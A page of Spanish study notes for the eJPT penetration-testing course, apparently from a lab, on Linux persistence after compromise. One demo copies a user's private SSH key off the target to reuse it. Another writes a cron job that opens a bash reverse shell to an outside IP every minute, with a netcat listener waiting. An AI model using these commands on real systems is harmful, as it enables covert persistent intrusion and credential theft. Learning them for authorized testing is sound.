eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Persistence Via SSH Keys
  • Demo: Persistence Via SSH Keys
  • Quiz: Persistence Via SSH Keys
  • Persistence Via Cron Jobs
  • Anatomy Of A Cron Job
  • Demo: Persistence Via Cron Jobs
  • Quiz: Persistence Via Cron Jobs
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Post-Exploitation
  3. Persistence

Linux Persistence

Persistence Via SSH Keys

Linux se suele implementar como un sistema operativo de servidor y, como resultado, los servidores Linux suelen accederse de forma remota a través de servicios o protocolos como SSH.

Si SSH está habilitado y en ejecución en un sistema Linux que ha comprometido, puede aprovechar la configuración de SSH para establecer un acceso persistente en el sistema de destino.

En la mayoría de los casos, los servidores Linux tendrán habilitada la autenticación basada en clave para el servicio SSH, lo que permite a los usuarios acceder al sistema Linux de forma remota sin necesidad de una contraseña.

Después de obtener acceso a un sistema Linux, podemos transferir la clave privada SSH de una cuenta de usuario específica a nuestro sistema y usar esa clave privada SSH para todas las autenticaciones y accesos futuros.

Demo: Persistence Via SSH Keys

ssh student@192.63.238.3
# Cuando inicie session tendra algunas carpetas
ls -al
# La que estamos buscando se suele llamar ".ssh"

# Ver informacion del archivo wait y vea para que sirve por que se utilizara mas
# adelante
cat wait

# Ingreasamos a la carpeta .ssh
cd .ssh/
# Dentro de la carpeta tenemos la clave privada "id_rsa"
# Cuando genere ssh keys, tambien tendra la clave publica "id_rsa.pub"
# Recordar para que sirve o que contiene el archivo "autorization"

# Descargamos el archivo que contiene la clave privada
scp student@192.63.238.3:~/.ssh/id_rsa .
# Considerar eliminar el archivo "wait"
# por que simula que el usuario student cambio de contrasena

# En kali (lugar donde transferio la clave privada)
chmod 400 id rsa

# La conexion lo hacemos por la llave privada
ssh -i id_rsa student@192.63.238.3

Quiz: Persistence Via SSH Keys

Persistence Via Cron Jobs

Linux implementa la programación de tareas a través de una utilidad llamada Cron. Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente según un cronograma específico.

Una aplicación o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como un trabajo Cron.

Podemos usar trabajos cron para ejecutar un comando o script en un intervalo fijo para garantizar que tengamos acceso persistente al sistema de destino.

Anatomy Of A Cron Job

( * * * * * ) significa que el trabajo cron se ejecutará cada minuto de cada hora de cada día de cada mes y todos los días de la semana.

Demo: Persistence Via Cron Jobs

cat /etc/cron*

# Ccreamos el job
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.166.95.2/1234 0>&1'" > cron

cat cron
# Agregar crontab de linux
crontab -i cron
crontab -l


# Atacante tiene que escuchar los intentos de conexion
nc -nvlp 1234

Quiz: Persistence Via Cron Jobs

PreviousWindows PersistenceNextDumping & Cracking

Last updated 8 months ago